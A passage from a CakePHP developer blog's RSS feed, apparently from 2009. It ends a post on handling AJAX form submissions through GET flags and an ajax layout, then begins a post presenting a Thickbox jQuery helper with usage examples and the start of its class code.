<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>We don't need full action content from views/jerks/add.ctp to appear in response when AJAX is called. We can make this work traditional way by checking if it's an AJAX request in controller method itself and do needful, but I wouldn't want to modify all my controller functions to enable AJAX, so here's what I've come up with.
</p>
<p>Remember the 3 GET variables above?
</p>
<p>'ajax' =&gt; This one will determine if a given HTTP request is an AJAX request.
</p>
<p>'flash_only'  =&gt; This will tell if rendering should happen or not. Flash only means, after controller function is executed, do not render, just show flash message.
</p>
<p>'js' =&gt; This is used for alert type, if this is not set, show inline alert. If set true, helper must show JS alert() on form success.
</p>
<p>Inside your AppController::beforeFilter(), add this code:
</p>
<div class="igBar"><span id="lphp-13"><a href="#" onclick="javascript:showPlainTxt('php-13'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-13">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><a href="http://www.php.net/isset"><span style="color:#000066;">isset</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$_GET</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'ajax'</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; Configure::<span style="color:#006600;">write</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'debug'</span>,<span style="color:#CC66CC;color:#800000;">0</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">layout</span> = <span style="color:#FF0000;">'ajax'</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; $ this -&gt;<span style="color:#006600;">set</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'ajax'</span>, <span style="color:#000000; font-weight:bold;">true</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$_GET</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'flash_only'</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; $ this -&gt;<span style="color:#006600;">set</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'flash_only'</span>, <span style="color:#000000; font-weight:bold;">true</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF9933; font-style:italic;">//$ this -&gt;autoRender = false;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$_GET</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'js'</span><span style="color:#006600; font-weight:bold;">&#93;</span>==<span style="color:#FF0000;">'false'</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; $ this -&gt;<span style="color:#006600;">set</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'js'</span>, <span style="color:#CC66CC;color:#800000;">0</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#616100;">else</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; $ this -&gt;<span style="color:#006600;">set</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'js'</span>, <span style="color:#CC66CC;color:#800000;">1</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>Do not blame me for using GET variables, I found many issues with 'named' so I'm relying on normal GET variables.
</p>
<p>Now you'll need to edit ajax.ctp layout file.
</p>
<div class="igBar"><span id="lphp-14"><a href="#" onclick="javascript:showPlainTxt('php-14'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-14">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?php</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#616100;">if</span> <span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$session</span>-&gt;<span style="color:#006600;">check</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Message.flash'</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#0000FF;">$strMessage</span> = <span style="color:#FF0000;">''</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#0000FF;">$message</span> = <span style="color:#0000FF;">$session</span>-&gt;<span style="color:#006600;">read</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Message.flash'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><a href="http://www.php.net/isset"><span style="color:#000066;">isset</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$message</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'params'</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'type'</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$type</span> = <span style="color:#0000FF;">$message</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'params'</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'type'</span><span style="color:#006600; font-weight:bold;">&#93;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$strMessage</span> = <a href="http://www.php.net/ucfirst"><span style="color:#000066;">ucfirst</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$type</span><span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#FF0000;">": "</span>.<span style="color:#0000FF;">$message</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'message'</span><span style="color:#006600; font-weight:bold;">&#93;</span>;&nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#616100;">else</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$strMessage</span> = <span style="color:#0000FF;">$message</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'message'</span><span style="color:#006600; font-weight:bold;">&#93;</span>;&nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#0000FF;">$session</span>-&gt;<span style="color:#006600;">del</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Message.flash'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span>!<a href="http://www.php.net/empty"><span style="color:#000066;">empty</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">validationErrors</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#0000FF;">$strMessage</span> = <span style="color:#FF0000;">''</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#616100;">foreach</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">validationErrors</span> <span style="color:#616100;">as</span> <span style="color:#0000FF;">$model</span>=&gt;<span style="color:#0000FF;">$errors</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">foreach</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">validationErrors</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#0000FF;">$model</span><span style="color:#006600; font-weight:bold;">&#93;</span> <span style="color:#616100;">as</span> <span style="color:#0000FF;">$field</span>=&gt;<span style="color:#0000FF;">$error</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$strMessage</span> .= <span style="color:#0000FF;">$error</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">?&gt;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?</span> </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$strMessage</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$js</span>==<span style="color:#CC66CC;color:#800000;">1</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">?&gt;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; alert<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'&lt;?=$strMessage;?&gt;'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?</span> <span style="color:#006600; font-weight:bold;">&#125;</span> <span style="color:#616100;">elseif</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$js</span>==<span style="color:#CC66CC;color:#800000;">0</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$strMessage</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span> <span style="color:#006600; font-weight:bold;">&#125;</span> <span style="color:#000000; font-weight:bold;">?&gt;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span>!<a href="http://www.php.net/isset"><span style="color:#000066;">isset</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$flash_only</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$content_for_layout</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">?&gt;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>This should be self explanatory, even though this code definitely needs some refactoring.  We're basically manipulating those 3 GET variables according to our need. In process, we're also checking validation errors occurred in form.
</p>
<p>I have not used it under the production environment yet, so I'd really like to hear any pitfalls (if any) using this approach. Thanks for reading.
</p>
<p>Abhimanyu Grover</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gigapromoters.com/blog/2009/02/21/cakephp-ajax-forms/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Thickbox Helper for CakePHP</title>
		<link>http://www.gigapromoters.com/blog/2009/02/11/thickbox-helper-for-cakephp/</link>
		<comments>http://www.gigapromoters.com/blog/2009/02/11/thickbox-helper-for-cakephp/#comments</comments>
		<pubDate>Wed, 11 Feb 2009 05:08:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[CakePHP]]></category>

		<category><![CDATA[Latest Developments]]></category>

		<guid isPermaLink="false">http://www.gigapromoters.com/blog/2009/02/11/thickbox-helper-for-cakephp/</guid>
		<description><![CDATA[It's quite difficult to copy-paste JavaScript for same thing again and again. That's why I've come up with Thickbox helper for CakePHP – as a result of a project which involved lot of thickboxes implementations. For those who don't know what it is be sure to check Thickbox jQuery Plugin.

To use it, just include this [...]]]></description>
			<content:encoded><![CDATA[<p>It's quite difficult to copy-paste JavaScript for same thing again and again. That's why I've come up with Thickbox helper for CakePHP – as a result of a project which involved lot of thickboxes implementations. For those who don't know what it is be sure to check <a href="http://jquery.com/demo/thickbox/">Thickbox jQuery Plugin</a>.
</p>
<p>To use it, just include this helper in your controller and Its implementation is very simple:
</p>
<p>1. For inline content:
</p>
<div class="igBar"><span id="lphp-18"><a href="#" onclick="javascript:showPlainTxt('php-18'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-18">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#0000FF;">$thickbox</span>-&gt;<span style="color:#006600;">setProperties</span><span style="color:#006600; font-weight:bold;">&#40;</span><a href="http://www.php.net/array"><span style="color:#000066;">array</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'id'</span>=&gt;<span style="color:#FF0000;">'domId'</span>, <span style="color:#FF0000;">'height'</span>=&gt;<span style="color:#FF0000;">'300'</span>, <span style="color:#FF0000;">'width'</span>=&gt;<span style="color:#FF0000;">'334'</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; <span style="color:#FF9933; font-style:italic;">// set height, width and DOM ID</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#0000FF;">$thickbox</span>-&gt;<span style="color:#006600;">setPreviewContent</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'click me'</span><span style="color:#006600; font-weight:bold;">&#41;</span>; <span style="color:#FF9933; font-style:italic;">// the link which will trigger thickbox on click</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#0000FF;">$thickbox</span>-&gt;<span style="color:#006600;">setMainContent</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'&lt;div&gt;see it??&lt;/div&gt;'</span><span style="color:#006600; font-weight:bold;">&#41;</span>; <span style="color:#FF9933; font-style:italic;">// the content which will be shown in thickbox</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$thickbox</span>-&gt;<span style="color:#006600;">output</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">?&gt;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>
 </p>
<p>2. For AJAX:
</p>
<div class="igBar"><span id="lphp-19"><a href="#" onclick="javascript:showPlainTxt('php-19'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-19">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#0000FF;">$thickbox</span>-&gt;<span style="color:#006600;">setProperties</span><span style="color:#006600; font-weight:bold;">&#40;</span><a href="http://www.php.net/array"><span style="color:#000066;">array</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'id'</span>=&gt;<span style="color:#FF0000;">'domId'</span>,<span style="color:#FF0000;">'type'</span>=&gt;<span style="color:#FF0000;">'ajax'</span>,<span style="color:#FF0000;">'ajaxUrl'</span>=&gt;<span style="color:#FF0000;">'/controller/action'</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#0000FF;">$thickbox</span>-&gt;<span style="color:#006600;">setPreviewContent</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">"Click me to see thickbox"</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$thickbox</span>-&gt;<span style="color:#006600;">output</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>Here's the helper:
</p>
<div class="igBar"><span id="lphp-20"><a href="#" onclick="javascript:showPlainTxt('php-20'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-20">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?php</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">class</span> ThickboxHelper extends AppHelper <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">var</span> <span style="color:#0000FF;">$helpers</span> = <a href="http://www.php.net/array"><span style="color:#000066;">array</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Javascript'</span>, <span style="color:#FF0000;">'Html'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
